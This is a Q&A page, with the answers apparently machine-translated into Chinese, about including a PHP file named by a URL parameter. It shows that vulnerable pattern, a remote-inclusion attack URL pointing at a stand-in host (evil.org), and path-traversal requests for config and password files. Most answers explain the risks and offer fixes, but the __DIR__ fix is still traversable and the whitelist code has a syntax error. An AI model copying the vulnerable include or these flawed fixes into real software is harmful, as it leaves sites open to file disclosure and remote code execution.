0

To include php code in a file we do:

    <html>
    <body>


    <h1>Welcome to my home page!</h1>

    <p>Some text.</p>
   <?php include 'body.php'; ?>    
    </body>
    </html>

Now I would like to include a file, the name will be passed in the url, so for example I wouldc do www.site.com/file.php?name_of_file_to_include=body to load body.php in the file:

<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<? 
$file=$_GET["name_of_file_to_include"];
include $file.'.php'; 
?>
</body>
</html>

Is this possible or Is it a better option to do this thing. The purpose to do so is because I will change only a part of the file, but there are lots of files I want to load

4

5 回答 5

2

这当然是可能的。我会确保$_GET["name_of_file_to_include"]** 不包含远程 url。否则,您的脚本极易受到远程脚本注入的攻击。

想象一下,攻击者准备了一个类似的 url:

index.php?name_of_the_file_to_include=http://evil.org/my

在他的服务器上,他存储了一个名为my.php

foreach(get_defined_vars() as $var) {
    var_dump($var);
}

该脚本将直接在您的应用程序的上下文中运行,并让我们查看您的数据库配置等。

因此,请确保在包含之前至少添加一个路径,以防止表单远程脚本注入。像这样:

include './' . $file.'.php';

然而,这还不够安全,因为攻击者仍然能够执行系统上已经存在的代码。也许是一个 php 文件,否则会受到限制。所以你应该确保路径是洞察你的内容文件夹:

// realpath will remove all '/..' from path:
$path = realpath('./sites/' . $_GET['file_to_include'] . '.php');

// if the file does not exists realpath returns false
if(!$path) {
    die('error');
}

// check if the path starts exactly with your site path
if(strpos($path, realpath('./sites')) !== 0) {
    die('error');
}

// we are safe now:
include $path;
于 2013-05-22T19:49:09.350 回答
2

你可以完全按照你展示的那样做......但你不应该

include 将包含任何内容并解析 php 并显示其他所有内容,这使得任何人都可以获取系统上 Web 服务器可访问的任何内容。

想象一下,如果你在 webroot 之外有一个 database_config.ini(你把它放在那里,这样网上就没有人可以看到你的数据库密码是什么。)

我可以插入,http://www.yoursite.com/file.php?name_of_file_to_include=../database_config.ini现在我知道如何访问您的数据库。

解决此问题的更好方法是创建页面白名单并包含文件

 $pages = array(
     "body"="body.php",
     "aboutme"=>"aboutme.php"
 );

然后使用:

 $page = $_GET["name_of_file_to_include"];
 if (array_key_exists($page, $pages)){
     include ($pages[$page]);
 } 
于 2013-05-22T19:50:59.970 回答
1

正如我的评论所说,我会以相反的方式做。在包含到所有页面的文件中制作标题信息。我是如何做到的(以及所有模板者如何做到的)很简单:

将 header.php 存储在服务器上的某个位置,其中包含标头中不包括</head>标签的所有内容。这样,您可以将此文件包含到任何页面中,并且仍然可以添加链接关系和脚本。例如,这将是一个 index.php 或类似的东西。

<?PHP
    include("folder/header.php");
?>
<!-- ADD ADDITIONAL SCRIPTS AND STYLES HERE -->
<!-- END ADDITIONAL STUFF -->
<title></title>
</head>
<body>
<!-- YOUR CONTENT HERE -->
</body>
</html>

这样,您就有了相同的格式片段(如您的标题或任何其他片段),并且 URL 将类似于 www.domain.com/index.php 或 www.domain.com/page.php。您还避免了“获取”文件的安全风险

于 2013-05-22T20:01:43.863 回答
1

是的!但请务必使用指定基本路径

__DIR__

像这样:

    //Include the requested file
    $file = __DIR__ . $_GET['file_name'] . ".php";
    if(file_exists($file ))
        include($file);
于 2013-05-22T19:51:19.327 回答
1

这是可能的,但会打开一个巨大的安全漏洞。

想象一下,如果有人请求www.site.com/file.php?name_of_file_to_include=/root/secret_password_file(假设您将重要数据存储在secret_password_file.php/root)。

听起来你想要某种形式的模板系统。有很多方法可以实现这一点——有些方法比其他方法更复杂。可能对您来说最简单的方法是忘记包含页面内容;相反,请考虑在内容页面中包含页眉和页脚。

想象一下header.php

<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>

看起来footer.php像:

</body>
</html>

现在您可以将它们都包含到每个内容页面中。例如,body.php可能看起来像:

<?php
include 'header.php';

<div>
... content here ...
</div>

include 'footer.php';

这实现了相同的效果,而不会允许随机 Web 用户从您的服务器请求任何文件。

于 2013-05-22T19:51:22.830 回答